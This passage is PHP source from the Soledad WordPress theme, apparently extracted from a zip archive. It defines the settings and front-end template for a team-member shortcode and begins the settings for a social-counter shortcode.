			'value'      => array(
				esc_html__( 'Bordered', 'soledad' )         => 's1',
				esc_html__( 'Background', 'soledad' )       => 's2',
				esc_html__( 'Extended', 'soledad' )         => 's3',
				esc_html__( 'Overlay Slide Up', 'soledad' ) => 's4',
			)
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Title Position', 'soledad' ),
			'param_name' => 'titpos',
			'std'        => 'default',
			'value'      => array(
				'Default'             => 'default',
				'Above Position Text' => 'above',
				'Below Position Text' => 'below',
			)
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Social Icons Shape', 'soledad' ),
			'param_name' => 'social_shape',
			'std'        => 'default',
			'value'      => array(
				'Default' => 'default',
				'Circle'  => 'circle',
				'Square'  => 'square',
				'Round'   => 'round',
			)
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Social Icons Style', 'soledad' ),
			'param_name' => 'social_style',
			'std'        => 'default',
			'value'      => array(
				'Default'  => 'default',
				'Filled'   => 'filled',
				'Bordered' => 'bordered',
			)
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Social Icons Colors Style', 'soledad' ),
			'param_name' => 'social_colors',
			'std'        => 'default',
			'value'      => array(
				'Custom Colors'     => 'default',
				'Brands Color'      => 'brandbg',
				'Brands Text Color' => 'brandtext',
			)
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Columns', 'soledad' ),
			'param_name' => 'columns',
			'value'      => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'std'        => '3'
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Tablet Columns', 'soledad' ),
			'param_name' => 'columns_tablet',
			'value'      => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'std'        => '3'
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Mobile Columns', 'soledad' ),
			'param_name' => 'columns_mobile',
			'value'      => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'std'        => '3'
		),
		array(
			'type'             => 'penci_only_number',
			'param_name'       => 'height_team',
			'heading'          => esc_html__( 'Set height team member', 'soledad' ),
			'value'            => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'param_name'       => 'border_width_team',
			'heading'          => esc_html__( 'Set border width team member', 'soledad' ),
			'value'            => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'param_name'       => 'width_img',
			'heading'          => esc_html__( 'Set width for Image', 'soledad' ),
			'value'            => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'param_name'       => 'height_img',
			'heading'          => esc_html__( 'Set height for Image', 'soledad' ),
			'value'            => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'param_name'       => 'row_gap',
			'heading'          => __( 'Rows Gap', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'param_name'       => 'col_gap',
			'heading'          => __( 'Columns Gap', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// tab team members
		array(
			'type'       => 'param_group',
			'heading'    => '',
			'param_name' => 'teammembers',
			'group'      => $group_team,
			'value'      => urlencode( json_encode( array(
				array(
					'name'          => 'Team member 1',
					'desc'          => 'I am text block. Click edit button to change this text.',
					'link'          => __( 'https://your-link.com', 'soledad' ),
					'image'         => '',
					'link_website'  => '#',
					'link_facebook' => '#',
					'link_twitter'  => '#'
				),
				array(
					'name'          => 'Team member 2',
					'desc'          => 'I am text block. Click edit button to change this text.',
					'link'          => __( 'https://your-link.com', 'soledad' ),
					'image'         => '',
					'link_website'  => '#',
					'link_facebook' => '#',
					'link_twitter'  => '#'
				),
				array(
					'name'          => 'Team member 3',
					'desc'          => 'I am text block. Click edit button to change this text.',
					'link'          => __( 'https://your-link.com', 'soledad' ),
					'image'         => '',
					'link_website'  => '#',
					'link_facebook' => '#',
					'link_twitter'  => '#'
				),
			) ) ),
			'params'     => array(
				array(
					'type'        => 'attach_image',
					'heading'     => __( 'Image', 'soledad' ),
					'param_name'  => 'image',
					'value'       => '',
					'description' => __( 'Select image from media library.', 'soledad' ),
				),
				array(
					'type'        => 'textfield',
					'heading'     => __( 'Name', 'soledad' ),
					'param_name'  => 'name',
					'admin_label' => true,
				),
				array(
					'type'       => 'textfield',
					'heading'    => __( 'Position', 'soledad' ),
					'param_name' => 'position',
				),
				array(
					'type'       => 'textarea',
					'heading'    => __( 'Description', 'soledad' ),
					'param_name' => 'desc',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Website', 'soledad' ),
					'param_name'       => 'link_website',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Facebook', 'soledad' ),
					'param_name'       => 'link_facebook',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Twitter', 'soledad' ),
					'param_name'       => 'link_twitter',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Linkedin', 'soledad' ),
					'param_name'       => 'link_linkedin',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Instagram', 'soledad' ),
					'param_name'       => 'link_instagram',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Youtube', 'soledad' ),
					'param_name'       => 'link_youtube',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Vimeo', 'soledad' ),
					'param_name'       => 'link_vimeo',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Pinterest', 'soledad' ),
					'param_name'       => 'link_pinterest',
					'edit_field_class' => 'vc_col-sm-6',
				),
				array(
					'type'             => 'textfield',
					'heading'          => __( 'Link Dribbble', 'soledad' ),
					'param_name'       => 'link_dribbble',
					'edit_field_class' => 'vc_col-sm-6',
				),
			),
		),
	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_typo_color(), array(
		// General typo
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_general_settings',
			'heading'          => esc_html__( 'Team memeber Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Item Background Color', 'soledad' ),
			'param_name'       => 'team_bghcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Item Border Color', 'soledad' ),
			'param_name'       => 'team_borderhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		// Name typo
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_name_settings',
			'heading'          => esc_html__( 'Name Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Name color', 'soledad' ),
			'param_name' => 'team_name_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'team_name_typo',
			'value'      => '',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'team_name_size',
			'heading'    => __( 'Font Size for Name', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'team_name_martop',
			'heading'          => __( 'Margin top for Name', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Position typo
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_pos_settings',
			'heading'          => esc_html__( 'Positions Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Position color', 'soledad' ),
			'param_name' => 'team_pos_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'team_pos_typo',
			'value'      => '',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'team_pos_size',
			'heading'    => __( 'Font Size for Position', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'team_pos_martop',
			'heading'          => __( 'Margin top for Position', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Description typo
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_des_settings',
			'heading'          => esc_html__( 'Description colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Desctiption color', 'soledad' ),
			'param_name' => 'team_des_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'team_des_typo',
			'value'      => '',
			'group'      => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'team_des_size',
			'heading'          => __( 'Font Size for Desctiption', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'team_des_martop',
			'heading'          => __( 'Margin top for Desctiption', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Social typo
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_social_settings',
			'heading'          => esc_html__( 'Social Icon Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Icon Color', 'soledad' ),
			'param_name'       => 'team_social_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Icon Background Color', 'soledad' ),
			'param_name'       => 'team_social_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Icon Hover Color', 'soledad' ),
			'param_name'       => 'team_social_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Social Icon Background Hover Color', 'soledad' ),
			'param_name'       => 'team_social_bghcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'team_social_martop',
			'heading'    => __( 'Margin top for Social Icon', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\X3  X3  3  inc/js_composer/shortcodes/team_member/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';


$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$team_members = (array) vc_param_group_parse_atts( $atts['teammembers'] );

if ( ! $team_members ) {
	return;
}

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class     = 'penci-block-vc penci-teammb-bsc';
$css_class     .= ' penci-teammb-' . $atts['style'];
$css_class     .= ' pencisc-grid-' . $atts['columns'];
$column_tablet = isset( $atts['columns_tablet'] ) ? $atts['columns_tablet'] : '2';
$column_mobile = isset( $atts['columns_mobile'] ) ? $atts['columns_mobile'] : '1';
$css_class     .= ' pencisc-grid-tablet-' . $column_tablet;
$css_class     .= ' pencisc-grid-mobile-' . $column_mobile;

$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'team_member' );
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<?php Penci_Vc_Helper::markup_block_title( $atts ); ?>
        <div class="penci-block_content pencisc-grid">
			<?php
			$link_target     = 'target="_blank"';
			$social_colorcss = '';
			$titpos          = isset( $atts['titpos'] ) ? $atts['titpos'] : 'default';
			$social_shape    = isset( $atts['social_shape'] ) ? $atts['social_shape'] : 'default';
			$social_style    = isset( $atts['social_style'] ) ? $atts['social_style'] : 'default';
			$social_colors   = isset( $atts['social_colors'] ) ? $atts['social_colors'] : 'default';
			if ( 'default' != $social_shape && 'default' == $social_style ) {
				$social_style = 'filled';
			}

			if ( 'brandbg' == $social_colors ) {
				$social_colorcss = ' penci-social-colored';
			} else if ( 'brandtext' == $social_colors ) {
				$social_colorcss = ' penci-social-textcolored';
			}

			$css_class .= ' pcsc-shape-' . $social_shape;
			$css_class .= ' pcsc-st-' . $social_style;

			if ( ! get_theme_mod( 'penci_dis_noopener' ) ) {
				$link_target .= ' rel="noopener"';
			}

			$title_pos = 'below';
			if ( 's1' == $atts['style'] ) {
				$title_pos = 'above';
			}
			if ( 'above' == $titpos || 'below' == $titpos ) {
				$title_pos = $titpos;
			}

			foreach ( (array) $team_members as $item ) {

				$name_item     = isset( $item['name'] ) ? $item['name'] : '';
				$desc_item     = isset( $item['desc'] ) ? $item['desc'] : '';
				$position_item = isset( $item['position'] ) ? $item['position'] : '';

				$link_website_item   = isset( $item['link_website'] ) ? $item['link_website'] : '';
				$link_twitter_item   = isset( $item['link_twitter'] ) ? $item['link_twitter'] : '';
				$link_linkedin_item  = isset( $item['link_linkedin'] ) ? $item['link_linkedin'] : '';
				$link_instagram_item = isset( $item['link_instagram'] ) ? $item['link_instagram'] : '';
				$link_dribbble_item  = isset( $item['link_dribbble'] ) ? $item['link_dribbble'] : '';
				$link_facebook_item  = isset( $item['link_facebook'] ) ? $item['link_facebook'] : '';

				$link_youtube_item   = isset( $item['link_youtube'] ) ? $item['link_youtube'] : '';
				$link_vimeo_item     = isset( $item['link_vimeo'] ) ? $item['link_vimeo'] : '';
				$link_pinterest_item = isset( $item['link_pinterest'] ) ? $item['link_pinterest'] : '';


				$url_img_item = penci_get_default_thumbnail_url();
				if ( isset( $item['image'] ) && $item['image'] ) {
					$url_img_item = wp_get_attachment_url( $item['image'] );
				}

				?>
                <div class="penci-teammb-item pencisc-grid-item">
                    <div class="penci-teammb-inner">
						<?php
						if ( $url_img_item ) {
							$dis_lazy = get_theme_mod( 'penci_disable_lazyload_layout' );
							if ( $dis_lazy ) {
								echo '<span class="penci-image-holder penci-teammb-img  penci-disable-lazy style="background-image: url(' . esc_url( $url_img_item ) . ');"></span>';
							} else {
								echo '<span class="penci-image-holder penci-teammb-img penci-lazy" data-bgset="' . esc_url( $url_img_item ) . '"></span>';
							}
						}
						?>
                        <div class="penci-team_item__info">
							<?php if ( $position_item && 'below' == $title_pos ): ?>
                                <div class="penci-team_member_pos"><?php echo $position_item; ?></div>
							<?php endif; ?>
							<?php if ( $name_item ): ?>
                                <h5 class="penci-team_member_name"><?php echo $name_item; ?></h5>
							<?php endif; ?>
							<?php if ( $position_item && 'above' == $title_pos ): ?>
                                <div class="penci-team_member_pos"><?php echo $position_item; ?></div>
							<?php endif; ?>
							<?php if ( $desc_item ): ?>
                                <div class="penci-team_member_desc"><?php echo $desc_item; ?></div>
							<?php endif; ?>
                            <div class="penci-team_member_socails penci-social-wrap <?php echo $social_colorcss; ?>">
								<?php if ( $link_website_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item website"
                                                                  href="<?php echo esc_url( $link_website_item ); ?>"><?php penci_fawesome_icon( 'fas fa-globe' ); ?></a>
								<?php endif; ?>
								<?php if ( $link_facebook_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item facebook-f"
                                                                  href="<?php echo esc_url( $link_facebook_item ); ?>"><?php penci_fawesome_icon( 'fab fa-facebook-f' ); ?></a>
								<?php endif; ?>
								<?php if ( $link_twitter_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item twitter"
                                                                  href="<?php echo esc_url( $link_twitter_item ); ?>"><?php penci_fawesome_icon( 'penciicon-x-twitter' ); ?></a>
								<?php endif; ?>

								<?php if ( $link_linkedin_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item linkedin"
                                                                  href="<?php echo esc_url( $link_linkedin_item ); ?>"><?php penci_fawesome_icon( 'fab fa-linkedin-in' ); ?></a>
								<?php endif; ?>
								<?php if ( $link_instagram_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item instagram"
                                                                  href="<?php echo esc_url( $link_instagram_item ); ?>"><?php penci_fawesome_icon( 'fab fa-instagram' ); ?></a>
								<?php endif; ?>
								<?php if ( $link_youtube_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item youtube"
                                                                  href="<?php echo esc_url( $link_youtube_item ); ?>"><?php penci_fawesome_icon( 'fab fa-youtube' ); ?></a>
								<?php endif; ?>
								<?php if ( $link_vimeo_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item vimeo"
                                                                  href="<?php echo esc_url( $link_vimeo_item ); ?>"><?php penci_fawesome_icon( 'fab fa-vimeo-v' ); ?></a>
								<?php endif; ?>
								<?php if ( $link_pinterest_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item pinterest"
                                                                  href="<?php echo esc_url( $link_pinterest_item ); ?>"><?php penci_fawesome_icon( 'fab fa-pinterest' ); ?></a>
								<?php endif; ?>
								<?php if ( $link_dribbble_item ): ?>
                                    <a <?php echo $link_target ?> class="penci-social-item penci-social-item dribbble"
                                                                  href="<?php echo esc_url( $link_dribbble_item ); ?>"><?php penci_fawesome_icon( 'fab fa-dribbble' ); ?></a>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
				<?php
			}

			?>
        </div>
    </div>
<?php

$id_team_members = '#' . $block_id;
$id_team_members2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom      = Penci_Vc_Helper::get_heading_block_css( $id_team_members, $atts );

$css_height_border = '';
if ( $atts['height_team'] ) {
	$css_height_border .= 'height:' . esc_attr( $atts['height_team'] ) . ';';
}
if ( $atts['border_width_team'] ) {
	$css_height_border .= 'border-width:' . esc_attr( $atts['border_width_team'] ) . ';';
}
if ( $atts['team_bghcolor'] ) {
	$css_height_border .= 'background:' . esc_attr( $atts['team_bghcolor'] ) . ';';
}
if ( $atts['team_borderhcolor'] ) {
	$css_height_border .= 'border-color:' . esc_attr( $atts['team_borderhcolor'] ) . ';';
}
if ( $atts['border_width_team'] ) {
	$css_custom .= $id_team_members . ' .penci-teammb-item .penci-teammb-inner{ ' . $css_height_border . ' }';
}

$css_width_height = '';
if ( $atts['width_img'] ) {
	$css_width_height .= 'width:' . esc_attr( $atts['width_img'] ) . ';';
}
if ( $atts['height_img'] ) {
	$css_width_height .= 'height:' . esc_attr( $atts['height_img'] ) . ';';
}
if ( $css_width_height ) {
	$css_custom .= $id_team_members . '.penci-teammb-s2 .penci-teammb-img,';
	$css_custom .= $id_team_members . '.penci-teammb-s1 .penci-teammb-img{ ' . $css_width_height . ' }';
}

$css_row_gap = '';
if ( $atts['row_gap'] ) {
	$css_row_gap .= 'grid-row-gap:' . esc_attr( $atts['row_gap'] ) . ';';
}
if ( $atts['col_gap'] ) {
	$css_row_gap .= 'grid-column-gap:' . esc_attr( $atts['col_gap'] ) . ';';
}
if ( $css_row_gap ) {
	$css_custom .= $id_team_members . '.penci-teammb-bsc .pencisc-grid{ ' . $css_row_gap . ' }';
}

// Name
if ( $atts['team_name_color'] ) {
	$css_custom .= $id_team_members . '.penci-teammb-bsc .penci-team_member_name{ color:' . esc_attr( $atts['team_name_color'] ) . '; }';
}
if ( $atts['team_name_martop'] ) {
	$css_custom .= $id_team_members . '.penci-teammb-bsc .penci-team_member_name{ margin-top:' . esc_attr( $atts['team_name_martop'] ) . '; }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['team_name_size'],
	'font_style' => $atts['team_name_typo'],
	'template'   => $id_team_members . '.penci-teammb-bsc .penci-team_member_name{ %s }',
) );

// Position
if ( $atts['team_pos_color'] ) {
	$css_custom .= $id_team_members2 . '.penci-teammb-bsc .penci-team_member_pos{ color:' . esc_attr( $atts['team_pos_color'] ) . '; }';
}
if ( $atts['team_pos_martop'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_team_members . '.penci-teammb-bsc .penci-team_member_pos{ margin-top:{{VALUE}}px; }', $atts['team_pos_martop'] );
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['team_pos_size'],
	'font_style' => $atts['team_pos_typo'],
	'template'   => $id_team_members . '.penci-teammb-bsc .penci-team_member_pos{ %s }',
) );

// Description
if ( $atts['team_des_color'] ) {
	$css_custom .= $id_team_members2 . '.penci-teammb-bsc .penci-team_member_desc{ color:' . esc_attr( $atts['team_des_color'] ) . '; }';
}
if ( $atts['team_des_martop'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_team_members . '.penci-teammb-bsc .penci-team_member_desc{ margin-top:{{VALUE}}px; }', $atts['team_des_martop'] );
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['team_des_size'],
	'font_style' => $atts['team_des_typo'],
	'template'   => $id_team_members . '.penci-teammb-bsc .penci-team_member_desc{ %s }',
) );
// Social
if ( $atts['team_social_color'] ) {
	$css_custom .= $id_team_members2 . '.penci-teammb-bsc .penci-social-item{ color:' . esc_attr( $atts['team_social_color'] ) . '; }';
}
if ( $atts['team_social_bgcolor'] ) {
	$css_custom .= $id_team_members2 . '.penci-teammb-bsc .penci-social-item{ background-color:' . esc_attr( $atts['team_social_bgcolor'] ) . '; }';
}
if ( $atts['team_social_hcolor'] ) {
	$css_custom .= $id_team_members2 . '.penci-teammb-bsc .penci-penci-social-item:hover{ color:' . esc_attr( $atts['team_social_hcolor'] ) . '; }';
}
if ( $atts['team_social_bghcolor'] ) {
	$css_custom .= $id_team_members2 . '.penci-teammb-bsc .penci-social-item:hover{ background-color:' . esc_attr( $atts['team_social_bghcolor'] ) . '; }';
}
if ( $atts['team_social_martop'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_team_members . '.penci-teammb-bsc .penci-social-item{ margin-top:{{VALUE}}px; }', $atts['team_social_martop'] );
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_team_members, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\uY-  -  6  inc/js_composer/shortcodes/social_counter/settings.phpnu [        <?php
$pmetas = array(
	'facebook'       => array(
		'label'   => __( 'Facebook', 'soledad' ),
		'default' => 'yes',
	),
	'twitter'        => array(
		'label'   => __( 'Twitter', 'soledad' ),
		'default' => 'yes',
	),
	'youtube'        => array(
		'label'   => __( 'Youtube', 'soledad' ),
		'default' => 'yes',
	),
	'instagram'      => array(
		'label'   => __( 'Instagram', 'soledad' ),
		'default' => 'yes',
	),
	'linkedin'       => array(
		'label'   => __( 'Linkedin', 'soledad' ),
		'default' => '',
	),
	'pinterest'      => array(
		'label'   => __( 'Pinterest', 'soledad' ),
		'default' => '',
	),
	'flickr'         => array(
		'label'   => __( 'Flickr', 'soledad' ),
		'default' => '',
	),
	'dribbble'       => array(
		'label'   => __( 'Dribbble', 'soledad' ),
		'default' => '',
	),
	'vimeo'          => array(
		'label'   => __( 'Vimeo', 'soledad' ),
		'default' => '',
	),
	'delicious'      => array(
		'label'   => __( 'Delicious', 'soledad' ),
		'default' => '',
	),
	'soundcloud'     => array(
		'label'   => __( 'SoundCloud', 'soledad' ),
		'default' => '',
	),
	'github'         => array(
		'label'   => __( 'Github', 'soledad' ),
		'default' => '',
	),
	'behance '       => array(
		'label'   => __( 'Behance', 'soledad' ),
		'default' => '',
	),
	'vk'             => array(
		'label'   => __( 'VK', 'soledad' ),
		'default' => '',
	),
	'tumblr'         => array(
		'label'   => __( 'Tumblr', 'soledad' ),
		'default' => '',
	),
	'vine'           => array(
		'label'   => __( 'Vine', 'soledad' ),
		'default' => '',
	),
	'steam'          => array(
		'label'   => __( 'Steam', 'soledad' ),
		'default' => '',
	),
	'email'          => array(
		'label'   => __( 'Email', 'soledad' ),
		'default' => '',
	),
	'bloglovin'      => array(
		'label'   => __( 'Bloglovin', 'soledad' ),
		'default' => '',
	),
	'rss'            => array(
		'label'   => __( 'Rss', 'soledad' ),
		'default' => '',
	),
	'snapchat'       => array(
		'label'   => __( 'Snapchat', 'soledad' ),
		'default' => '',
	),
	'spotify'        => array(
		'label'   => __( 'Spotify', 'soledad' ),
		'default' => '',
	),
	'stack_overflow' => array(
		'label'   => __( 'Stack overflow', 'soledad' ),
		'default' => '',
	),
	'twitch'         => array(
		'label'   => __( 'Twitch', 'soledad' ),
		'default' => '',
	),
	'line'           => array(
		'label'   => __( 'Line', 'soledad' ),
		'default' => '',
	),
	'xing'           => array(
		'label'   => __( 'Xing', 'soledad' ),
		'default' => '',
	),
	'patreon'        => array(
		'label'   => __( 'patreon', 'soledad' ),
		'default' => '',
	),
);

$meta_params         = array();
$profile_meta_params = array();
foreach ( $pmetas as $key => $pmeta ) {
	$meta_params[] = array(
		'type'       => 'penci_switch',
		'heading'    => $pmeta['label'],
		'param_name' => 'social_' . $key,
		'value'      => array( __( 'Yes', 'soledad' ) => 'yes' ),
		'std'        => $pmeta['default'],
	);
}

$socials_profile     = penci_social_media_array();
$custom_social_icons = get_option( 'penci_custom_socials', array() );
foreach ( $socials_profile as $name => $data ) {
	$std                   = in_array( $name, array( 'facebook', 'twitter', 'youtube', 'instagram' ) ) ? 'yes' : '';
	$profile_meta_params[] = array(
		'type'        => 'penci_switch',
		'heading'     => ucwords( isset( $custom_social_icons[ $name ]['name'] ) ? $custom_social_icons[ $name ]['name'] : $name ),
		'param_name'  => 'social_profile_' . $name,
		'true_state'  => 'yes',
		'false_state' => 'no',
		'std'         => $std,
		'dependency'  => array(
			'element' => 'source',
			'value'   => array( 'customizer' ),
		),
	);
}

vc_map(
	array(
		'base'          => 'penci_social_counter',
		'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
		'category'      => penci_get_theme_name( 'Soledad' ),
		'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/social_counter/frontend.php',
		'weight'        => 700,
		'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Social Counter', 'soledad' ),
		'description'   => __( 'Social Counter Block', 'soledad' ),
		'controls'      => 'full',
		'params'        => array_merge(
			Penci_Vc_Params_Helper::params_container_width(),
			array(
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Source', 'soledad' ),
					'param_name' => 'hide_count',
					'std'        => 'counter',
					'value'      => array(
						esc_html__( 'Social Counter', 'soledad' ) => 'counter',
						esc_html__( 'Customizer Social Media URL (No Counter)', 'soledad' ) => 'customizer',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Hide Counter Data & Show Social Name?', 'soledad' ),
					'param_name' => 'hide_count',
					'std'        => 'no',
					'value'      => array(
						esc_html__( 'No', 'soledad' )  => 'no',
						esc_html__( 'Yes', 'soledad' ) => 'yes',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Choose Style', 'soledad' ),
					'param_name' => 'social_style',
					'std'        => 's1',
					'value'      => array(
						esc_html__( 'Style 1', 'soledad' ) => 's1',
						esc_html__( 'Style 2', 'soledad' ) => 's2',
						esc_html__( 'Style 3', 'soledad' ) => 's3',
						esc_html__( 'Style 4', 'soledad' ) => 's4',
					),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => esc_html__( 'Filled or Bordered Style?', 'soledad' ),
					'param_name' => 'fill',
					'std'        => '',
					'value'      => array(
						esc_html__( 'Filled', 'soledad' ) => 'fill',
						esc_html__( 'Bordered', 'soledad' ) => 'border',
					),
				),
				array(
					'type'       => 'dropdown',
